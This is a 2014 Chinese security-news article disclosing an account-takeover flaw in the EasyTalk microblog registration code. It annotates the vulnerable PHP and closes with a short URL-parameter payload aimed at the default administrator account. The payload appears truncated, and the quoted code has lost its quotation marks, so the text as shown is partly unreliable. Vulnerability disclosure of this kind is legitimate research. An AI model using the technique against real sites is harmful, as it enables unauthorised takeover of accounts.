知识屋:更实用的电脑技术知识网站
所在位置:首页 > 网络安全 > 安全资讯

EasyTalk微博任意修改账户漏洞

发布时间:2014-08-13 15:58:27作者:知识屋

作者:心灵

发现在最新版本  5.01  旧版本没  不知是否存在
还是那句话..看代码......
看文件  目录文件 op.php
<?php
include(common.inc.php);   //载入全局变量
$op = $_GET[op]?$_GET[op]:login;  // 因为下面代码的原因所以这不需要过滤
$allowviewarray=array("view","login","register","reset","faq","web","contact","top");
$allop=array("account","badge","faq","finder","follows","login","mailauth","register","reset","sendmsg",

"setting","share","theme","view","web","feedback","contact","im","top","guide","privatemsg");   //这2个不用解析了
if (!in_array($op, $allowviewarray)) {
    tologin();  //  不是$allowviewarray 定义的就跳到验证登录页面
}
if (in_array($op, $allop)) {  
    require(source/op_.$op..inc.php);
} else {
    header("location: $webaddr/op/web/404");
}
?>

这里简单得很   看下common.inc.php
主要代码
$prev=$_SERVER[HTTP_REFERER];
$addtime=time();
$action=$_POST[action];
$act=$_GET[act];       //问题在这里....配合一下 register里面的代码就可以了
$refer=$_POST[refer]?$_POST[refer]:$_GET[refer];
$backto=$_POST[backto]?$_POST[backto]:$_GET[backto]; //ajax 回调
$urlrefer=$_COOKIE["urlrefer"];

再看 sourceop_register.inc.php  
这里就是 op.php?op=register  载入的  看op.php那文件就知 简单得很..
还是那句 看代码

<?php
....  前面是多余代码...省略 主要是检测登录状态
$invitecode=trim($_GET[invitecode]);
$username=daddslashes(trim($_GET[uname]));
$nickname=daddslashes(clean_html(trim($_GET[unick])));
$mailadres=daddslashes(trim($_GET[mail]));
$pass1=daddslashes(trim($_GET[pass1]));
$pass2=daddslashes(trim($_GET[pass2]));
$deniedname=array("admin","attachments","badge","images","include"."install","source","templates");
//用户名  名称  EMALL  密码1 密码2  都做了过滤注入工作...

if ($act=="check") {     //主要问题在这里...上面common.inc.php说了act是_GET的 如果act不等于check呢?那就不用检测了..............
    if ($closereg==3) {
        $invitemsg=invitecodeauth($invitecode);
        if ($invitemsg!=ok) {
            echo $invitemsg;
            exit;
        }
    }
    if(!preg_match("/^[a-zA-Zd]*$/i",$username)) {
        echo "账户名只能使用数字和字母组合!";
        exit;
    }
    if(in_array($username, $deniedname)) {
        echo "账户名不能使用!";
//........省略一堆验证注册信息的东西

if ($act=="reg") {  //悲剧了....他真以为所有人都按照他脚本的路去走。。。
    if ($username && $nickname && $mailadres && $pass1==$pass2) { //这文件开头说了都是_GET 里的
        $t=$db->query("INSERT INTO et_users (user_name,nickname,password,mailadres,signupdate) VALUES ($username,$nickname,".md5(md5($pass2)).",$mailadres,$addtime)");
//悲剧悲剧 直接写入了....
  //来到这里已经完成整个漏洞过程 下面代码省略
?>


EXP:
&pass1=admin&pass2=admin


administrator是默认管理员账号  当然可以修改其他

 

(免责声明:文章内容如涉及作品内容、版权和其它问题,请及时与我们联系,我们将在第一时间删除内容,文章内容仅供参考)
收藏
  • 人气文章
  • 最新文章
  • 下载排行榜
  • 热门排行榜